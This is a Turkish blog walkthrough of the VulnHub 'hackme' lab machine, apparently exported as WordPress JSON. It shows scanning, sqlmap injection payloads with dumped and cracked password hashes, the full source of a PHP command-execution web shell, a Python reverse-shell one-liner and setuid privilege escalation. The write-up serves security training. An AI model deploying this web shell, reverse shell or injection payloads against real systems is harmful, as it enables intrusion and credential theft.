https:\/\/download.vulnhub.com\/hackme\/hackme.ova<\/a><\/p>\nWalkthrough<\/h2>\n
Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.6.132 netmask 255.255.255.0 broadcast 192.168.6.255\n inet6 fe80::20c:29ff:fe97:a8e4 prefixlen 64 scopeid 0x20<link>\n ether 00:0c:29:97:a8:e4 txqueuelen 1000 (Ethernet)\n RX packets 3 bytes 180 (180.0 B)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 14 bytes 1054 (1.0 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l\nInterface: eth0, type: EN10MB, MAC: 00:0c:29:97:a8:e4, IPv4: 192.168.6.132\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.6.1 00:50:56:c0:00:08 VMware, Inc.\n192.168.6.2 00:50:56:f3:da:b0 VMware, Inc.\n192.168.6.133 00:0c:29:20:57:2c VMware, Inc.\n192.168.6.254 00:50:56:fd:11:c9 VMware, Inc.\n\n4 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 1.993 seconds (128.45 hosts\/sec). 4 responded\n<\/code><\/pre>\nnmap taramas\u0131 ile devam edelim.<\/p>\n
[*] Scan: 787\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-09 12:53 EDT\nNmap scan report for 192.168.6.133\nHost is up (0.00072s latency).\nNot shown: 65533 closed ports\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n| 2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)\n| 256 ab:e8:4f:53:38:06:2c:6a:f3:92:e3:97:4a:0e:3e:d1 (ECDSA)\n|_ 256 32:76:90:b8:7d:fc:a4:32:63:10:cd:67:61:49:d6:c4 (ED25519)\n80\/tcp open http Apache httpd 2.4.34 ((Ubuntu))\n|_http-server-header: Apache\/2.4.34 (Ubuntu)\n|_http-title: Site doesn't have a title (text\/html; charset=UTF-8).\nMAC Address: 00:0C:29:20:57:2C (VMware)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 0.72 ms 192.168.6.133\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 9.59 seconds\n<\/code><\/pre>\n80 porunu g\u00f6r\u00fcnce nikto ve gobuster denedim. Daha sonras\u0131nda taray\u0131c\u0131 \u00fczerinden incelemeye ba\u015flad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --url http:\/\/192.168.6.133 --add-slash --expanded --follow-redirect --status-codes-blacklist 404 --extensions php,html,bak,sql,txt,zip,rar,7z,conf,php5,sh,bash,cap,pcap -t 50 -w \/usr\/share\/wordlists\/dirb\/big.txt --no-error | tee gobuster\/1\n\ntee: gobuster\/1: No such file or directory\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.6.133\n[+] Method: GET\n[+] Threads: 50\n[+] Wordlist: \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.1.0\n[+] Extensions: zip,7z,pcap,bak,sql,txt,rar,php5,sh,cap,php,html,conf,bash\n[+] Add Slash: true\n[+] Follow Redirect: true\n[+] Expanded: true\n[+] Timeout: 10s\n===============================================================\n2021\/07\/09 10:40:09 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.6.133\/.htpasswd.bak (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.rar (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.txt (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.pcap (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htpasswd\/ (Status: 403) [Size: 298]\nhttp:\/\/192.168.6.133\/.htpasswd.php5 (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htpasswd.sh (Status: 403) [Size: 300]\nhttp:\/\/192.168.6.133\/.htpasswd.cap (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.html (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.cap (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htaccess.php (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htaccess.pcap (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.php5 (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess\/ (Status: 403) [Size: 298]\nhttp:\/\/192.168.6.133\/.htaccess.html (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.7z (Status: 403) [Size: 300]\nhttp:\/\/192.168.6.133\/.htaccess.sh (Status: 403) [Size: 300]\nhttp:\/\/192.168.6.133\/.htaccess.sql (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htaccess.txt (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htaccess.conf (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.bash (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.bak (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htaccess.zip (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.conf (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/.htaccess.rar (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.zip (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.7z (Status: 403) [Size: 300]\nhttp:\/\/192.168.6.133\/.htpasswd.sql (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.php (Status: 403) [Size: 301]\nhttp:\/\/192.168.6.133\/.htpasswd.bash (Status: 403) [Size: 302]\nhttp:\/\/192.168.6.133\/config.php (Status: 200) [Size: 0] \nhttp:\/\/192.168.6.133\/icons\/ (Status: 403) [Size: 294]\nhttp:\/\/192.168.6.133\/index.php (Status: 200) [Size: 100]\nhttp:\/\/192.168.6.133\/logout.php (Status: 200) [Size: 1245]\nhttp:\/\/192.168.6.133\/login.php (Status: 200) [Size: 1245]\nhttp:\/\/192.168.6.133\/server-status\/ (Status: 403) [Size: 302] \nhttp:\/\/192.168.6.133\/register.php (Status: 200) [Size: 1937]\nhttp:\/\/192.168.6.133\/uploads\/ (Status: 200) [Size: 940] \nhttp:\/\/192.168.6.133\/welcome.php (Status: 200) [Size: 1245]\n\n===============================================================\n2021\/07\/09 10:40:41 Finished\n===============================================================\n<\/code><\/pre>\nOlay belli. \u0130\u00e7eri girip bir kullan\u0131c\u0131 elde edip ssh yapabiliriz yada web zafiyhetleri ile makineye ba\u011flanmay\u0131 deneyece\u011fiz. <\/p>\n
login sayfas\u0131na sqli denedim ancak ba\u015far\u0131l\u0131 olamad\u0131m. Bunun \u00fczerine bir \u00fcyelik olu\u015fturup i\u00e7eri girdim. \u0130\u00e7eride kitap arama k\u0131sm\u0131 bulunuyordu Burada sqli olabilir diye d\u00fc\u015f\u00fcnd\u00fcm ve a\u015fa\u011f\u0131daki http iste\u011fi ile sqli buldum.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/hackme\/istekler]\n\u2514\u2500# cat search \nPOST \/welcome.php HTTP\/1.1\nHost: 192.168.6.133\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 8\nOrigin: http:\/\/192.168.6.133\nConnection: close\nReferer: http:\/\/192.168.6.133\/welcome.php\nCookie: PHPSESSID=gqv7oiunpot6arc05huj5cpbnu\nUpgrade-Insecure-Requests: 1\n\nsearch=a\n<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/hackme]\n\u2514\u2500# sqlmap -r istekler\/search --level=5 --risk=3 --dbs --batch -D webapphacking -T users --dump \n ___\n __H__\n ___ ___[']_____ ___ ___ {1.5.5#stable}\n|_ -| . [,] | .'| . |\n|___|_ [,]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 11:21:04 \/2021-07-09\/\n\n[11:21:04] [INFO] parsing HTTP request from 'istekler\/search'\n[11:21:04] [INFO] resuming back-end DBMS 'mysql' \n[11:21:04] [INFO] testing connection to the target URL\ngot a 302 redirect to 'http:\/\/192.168.6.133:80\/login.php'. Do you want to follow? [Y\/n] Y\nredirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y\/n] Y\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: search (POST)\n Type: boolean-based blind\n Title: AND boolean-based blind - WHERE or HAVING clause\n Payload: search=a%' AND 8214=8214 AND 'SaZe%'='SaZe\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: search=a%' AND (SELECT 8586 FROM (SELECT(SLEEP(5)))AsNC) AND 'NOMn%'='NOMn\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 3 columns\n Payload: search=a%' UNION ALL SELECT NULL,CONCAT(0x7178627671,0x4b694c626264456548675a4c55544a7054484a655764425a7a686a724349716a77764e456e77446d,0x7171716a71),NULL-- -\n---\n[11:21:05] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 18.10 (cosmic)\nweb application technology: Apache 2.4.34\nback-end DBMS: MySQL >= 5.0.12\n[11:21:05] [INFO] fetching database names\navailable databases [5]:\n[*] information_schema\n[*] mysql\n[*] performance_schema\n[*] sys\n[*] webapphacking\n\n[11:21:05] [INFO] fetching columns for table 'users' in database 'webapphacking'\n[11:21:05] [INFO] fetching entries for table 'users' in database 'webapphacking'\n[11:21:05] [INFO] recognized possible password hashes in column 'pasword'\ndo you want to store hashes to a temporary file for eventual further processing with other tools [y\/N] N\ndo you want to crack them via a dictionary-based attack? [Y\/n\/q] Y\n[11:21:05] [INFO] using hash method 'md5_generic_passwd'\n[11:21:05] [INFO] resuming password 'hello' for hash '5d41402abc4b2a76b9719d911017c592'\n[11:21:05] [INFO] resuming password 'commando' for hash '6269c4f71a55b24bad0f0267d9be5508'\n[11:21:05] [INFO] resuming password 'p@ssw0rd' for hash '0f359740bd1cda994f8b55330c86d845'\n[11:21:05] [INFO] resuming password 'testtest' for hash '05a671c66aefea124cc08b76ea6d30bb'\n[11:21:05] [INFO] resuming password 'password1' for hash '7c6a180b36896a0a8c02787eeafb0e4c'\nwhat dictionary do you want to use?\n[1] default dictionary file '\/usr\/share\/sqlmap\/data\/txt\/wordlist.tx_' (press Enter)\n[2] custom dictionary file\n[3] file with list of dictionary files\n> 1\n[11:21:05] [INFO] using default dictionary\ndo you want to use common password suffixes? (slow!) [y\/N] N\n[11:21:05] [INFO] starting dictionary-based cracking (md5_generic_passwd)\n[11:21:05] [INFO] starting 4 processes \nDatabase: webapphacking \nTable: users\n[7 entries]\n+----+--------------+------------+-----------------+----------------------------------------------+\n| id | name | user | address | pasword |\n+----+--------------+------------+-----------------+----------------------------------------------+\n| 1 | David | user1 | Newton Circles | 5d41402abc4b2a76b9719d911017c592 (hello) |\n| 2 | Beckham | user2 | Kensington | 6269c4f71a55b24bad0f0267d9be5508 (commando) |\n| 3 | anonymous | user3 | anonymous | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) |\n| 10 | testismyname | test | testaddress | 05a671c66aefea124cc08b76ea6d30bb (testtest) |\n| 11 | superadmin | superadmin | superadmin | 2386acb2cf356944177746fc92523983 |\n| 12 | test1 | test1 | test1 | 05a671c66aefea124cc08b76ea6d30bb (testtest) |\n| 13 | admin | admin | admin@admin.com | 7c6a180b36896a0a8c02787eeafb0e4c (password1) |\n+----+--------------+------------+-----------------+----------------------------------------------+\n\n[11:21:13] [INFO] table 'webapphacking.users' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/192.168.6.133\/dump\/webapphacking\/users.csv'\n[11:21:13] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/192.168.6.133'\n\n[*] ending @ 11:21:13 \/2021-07-09\/\n<\/code><\/pre>\nG\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere superadmin<\/strong> kullan\u0131c\u0131s\u0131n\u0131n hash'i k\u0131r\u0131lamad\u0131. \u0130nternet \u00fczerinden bu hash'i k\u0131rd\u0131m<\/p>\n2386acb2cf356944177746fc92523983(Uncrackable)<\/code><\/pre>\nBu hesapla i\u00e7eri girdi\u011fimde bir upload k\u0131sm\u0131n\u0131n oldu\u011funu g\u00f6rd\u00fcm ve i\u00e7eri bir web shell att\u0131m. Att\u0131\u011f\u0131m dosya a\u015fa\u011f\u0131da:<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/Desktop]\n\u2514\u2500# cat simple-backdoor.php \n<!-- Simple PHP backdoor by DK (http:\/\/michaeldaw.org) -->\n\n<?php\n\nif(isset($_REQUEST['cmd'])){\n echo "<pre>";\n $cmd = ($_REQUEST['cmd']);\n system($cmd);\n echo "<\/pre>";\n die;\n}\n\n?>\n\nUsage: http:\/\/target.com\/simple-backdoor.php?cmd=cat+\/etc\/passwd\n\n<!-- http:\/\/michaeldaw.org 2006 -->\n<\/code><\/pre>\nDaha sonras\u0131nda python ile reverse ald\u0131m. \u00d6rnek python kodu:<\/p>\n
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")'<\/code><\/pre>\n\u0130\u00e7eride gezinirken mysql bilgilerinide elde ettim ancak bi i\u015fime yaramad\u0131.<\/p>\n
Daha \u00f6ncesinden ede ettii\u011fim parolalar\u0131 hydra ile ssh bruteforce'ta kulland\u0131m. \u0130\u015fe yaramad\u0131.<\/p>\n
Bunun \u00fczerine \u00e7ok basit ve sa\u00e7ma bir \u015fekilde root oldum.<\/p>\n
www-data@hackme:\/home\/legacy$ ls\nls\ntotal 20\ndrwxr-xr-x 2 root root 4096 Mar 26 2019 .\ndrwxr-xr-x 4 root root 4096 Mar 26 2019 ..\n-rwsr--r-x 1 root root 8472 Mar 26 2019 touchmenot\nwww-data@hackme:\/home\/legacy$ \n\nwww-data@hackme:\/home\/legacy$ strings tou \nstrings touchmenot \n\nCommand 'strings' not found, but can be installed with:\n\napt install binutils\nPlease ask your administrator.\n\nwww-data@hackme:\/home\/legacy$ touchmenot\ntouchmenot\ntouchmenot: command not found\nwww-data@hackme:\/home\/legacy$ .\/touchmenot\n.\/touchmenot\nroot@hackme:\/home\/legacy# \n\nroot@hackme:\/home\/legacy# id\nid\nuid=0(root) gid=33(www-data) groups=33(www-data)\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: ‘hackme’ is a beginner difficulty level box. The goal is to gain limited privilege access via web vulnerabilities and subsequently privilege…<\/p>\n
Devam\u0131n\u0131 okuHACKME: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[],"class_list":["post-1323","post","type-post","status-publish","format-standard","hentry","category-walkthrough","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1323"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1323\/revisions"}],"predecessor-version":[{"id":1324,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1323\/revisions\/1324"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}